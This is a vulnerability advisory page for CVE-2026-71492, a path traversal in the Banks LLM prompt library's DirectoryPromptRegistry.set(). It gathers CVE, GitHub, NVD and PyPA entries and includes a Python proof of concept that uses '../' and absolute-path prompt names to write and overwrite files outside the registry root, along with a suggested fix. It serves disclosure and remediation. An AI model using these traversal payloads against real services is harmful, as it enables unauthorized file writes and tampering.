CVE-2026-71492
JSON

6.0medium

Banks: Path traversal in `DirectoryPromptRegistry.set()` allows arbitrary file write outside the registry root

Severity
6.0medium CVSS:4.0 by GitHub_M
Exploit likelihood
0.47% (higher than 33% of CVEs)
Published
Last changed
Assigned by
GitHub_M
Also known as
GHSA-x8wg-4xgc-vr54PYSEC-2026-3810

Description

Banks generates meaningful LLM prompts using a simple template language. Prior to version 2.4.5, DirectoryPromptRegistry.set() in src/banks/registries/directory.py interpolates attacker-controlled Prompt.name and Prompt.version values into a Path without canonicalization or containment validation. Relative traversal such as ../victim/foo and an absolute Prompt.name can escape or discard the configured registry root, while overwrite=True permits replacement of existing target files. The poisoned name is persisted in index.json and reconstructed by _load(), allowing the out-of-root path to survive later registry loads. An application that forwards request data into these fields can therefore write Prompt.raw bytes to attacker-chosen paths writable by the application process. This issue is fixed in version 2.4.5.

Affected

Product or packageVersionsReported by
masci banks< 2.4.5CVE List
banks (PyPI)before 2.4.5GitHub Advisory Database, PyPA Advisory Database

All scores

GitHub_M6.0medium CVSS:4.0CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N
GitHubmedium CVSS:4.0CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N
PyPA Advisory DatabaseNot scored CVSS:4.0CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N

Classification

CWE-22

SSVC (CISA-ADP): exploitation poc, automatable no, technical impact partial.

What each source says

CVE List

Banks generates meaningful LLM prompts using a simple template language. Prior to version 2.4.5, DirectoryPromptRegistry.set() in src/banks/registries/directory.py interpolates attacker-controlled Prompt.name and Prompt.version values into a Path without canonicalization or containment validation. Relative traversal such as ../victim/foo and an absolute Prompt.name can escape or discard the configured registry root, while overwrite=True permits replacement of existing target files. The poisoned name is persisted in index.json and reconstructed by _load(), allowing the out-of-root path to survive later registry loads. An application that forwards request data into these fields can therefore write Prompt.raw bytes to attacker-chosen paths writable by the application process. This issue is fixed in version 2.4.5.

GitHub Advisory Database

Summary

DirectoryPromptRegistry.set() interpolates the attacker-controllable Prompt.name into a Path expression with no canonicalization. An application that derives the prompt name from request data lets a caller write attacker-controlled bytes outside the configured registry directory.

Details

src/banks/registries/directory.py:44

prompt_file = path / f"{prompt.name}.{prompt.version}.jinja"
prompt_file.write_text(prompt.raw)

Two failure modes:

  1. Relative traversal. name="../victim/foo" resolves to <registry>/../victim/foo.0.jinja — outside the configured root.
  2. Absolute-path bypass. pathlib documents that Path("/a") / Path("/b") returns Path("/b"). So name="/abs/path" discards the registry root entirely; the registry is never consulted.

The poisoned name is then persisted to index.json, so the out-of-root path keeps reconstructing on later _load() calls (directory.py:135-141). With overwrite=True, existing files at the target path are replaced.

Proof of Concept

import tempfile
from pathlib import Path
from banks import Prompt
from banks.registries import DirectoryPromptRegistry

work = Path(tempfile.mkdtemp())
registry = work / "registry"; registry.mkdir()
victim   = work / "victim";   victim.mkdir()

reg = DirectoryPromptRegistry(str(registry))

# (1) Relative traversal
reg.set(prompt=Prompt("pwn", name="../victim/pwned", version="0"))
print((victim / "pwned.0.jinja").read_text())            # 'pwn'

# (2) Absolute-path bypass — registry root is silently discarded
target = victim / "absolute_pwn"
reg.set(prompt=Prompt("abs pwn", name=str(target), version="0"))
print((victim / "absolute_pwn.0.jinja").read_text())     # 'abs pwn'

# (3) Clobber an existing file
existing = victim / "clobber_me"
existing.write_text("ORIGINAL\n")
reg.set(prompt=Prompt("CLOBBERED", name=str(existing), version="0"),
        overwrite=True)
print((victim / "clobber_me.0.jinja").read_text())       # 'CLOBBERED'

Output (verified on banks==2.4.2):

pwn
abs pwn
CLOBBERED

test_sandbox_baseline.py

Screenshot 2026-05-10 at 3 19 49 PM

registry_path_traversal.py

Screenshot 2026-05-10 at 3 20 02 PM

registry_path_traversal_v2.py

Screenshot 2026-05-10 at 3 20 18 PM

Negative control: with a benign name="okay-name", the file lands inside <registry>/ and the victim directory remains untouched.

Impact

Arbitrary file write at an attacker-chosen path with attacker-controlled bytes, scoped to whatever the application process can write to. The .0.jinja suffix limits some chains, but does not prevent overwriting templates consumed by the same or another application, planting files that other tooling ingests, or clobbering predictable-path config artifacts.

Realistic threat model: any "prompt management" service that exposes prompt creation through an authenticated API and forwards user-supplied name (and version) to Prompt(...) plus DirectoryPromptRegistry.set().

Suggested Fix

Reject obviously dangerous names early and verify the resulting path stays under the registry root after canonicalization:

# src/banks/registries/directory.py
import re

_NAME_RE = re.compile(r"[A-Za-z0-9._-]+")

@classmethod
def from_prompt_path(cls, prompt, path):
    if not _NAME_RE.fullmatch(prompt.name or ""):
        raise InvalidPromptError(f"Invalid prompt name: {prompt.name!r}")
    if not _NAME_RE.fullmatch(prompt.version or ""):
        raise InvalidPromptError(f"Invalid prompt version: {prompt.version!r}")

    candidate = (path / f"{prompt.name}.{prompt.version}.jinja").resolve()
    if candidate.parent != path.resolve():
        raise InvalidPromptError(
            f"Prompt path escapes registry root: {candidate}"
        )

    candidate.write_text(prompt.raw)
    return cls(
        text=prompt.raw, name=prompt.name, version=prompt.version,
        metadata=prompt.metadata, path=candidate,
    )

The same enforcement should run inside _load() and _get_prompt_file() so a poisoned index.json from a vulnerable run cannot keep escaping after upgrade.

NVD (es)

Banks genera prompts de LLM significativos utilizando un lenguaje de plantilla simple. Antes de la versión 2.4.5, DirectoryPromptRegistry.set() en src/banks/registries/directory.py interpola valores de Prompt.name y Prompt.version controlados por el atacante en una ruta sin canonicalización ni validación de contención. La traversión relativa, como ../victim/foo, y un Prompt.name absoluto pueden escapar o descartar la raíz del registro configurada, mientras que overwrite=True permite el reemplazo de archivos de destino existentes. El nombre envenenado se persiste en index.json y es reconstruido por _load(), permitiendo que la ruta fuera de la raíz sobreviva a cargas posteriores del registro. Una aplicación que reenvía datos de solicitud a estos campos puede, por lo tanto, escribir bytes de Prompt.raw en rutas elegidas por el atacante que sean escribibles por el proceso de la aplicación. Este problema está solucionado en la versión 2.4.5.

References

Sources

SourceRecordLicence
CVE ListCVE-2026-71492 changed 2026-08-20CVE Terms of Use
GitHub Advisory DatabaseGHSA-x8wg-4xgc-vr54 changed 2026-09-10CC-BY-4.0
NVDCVE-2026-71492 changed 2026-10-18Public domain
PyPA Advisory DatabasePYSEC-2026-3810 changed 2026-09-10CC-BY-4.0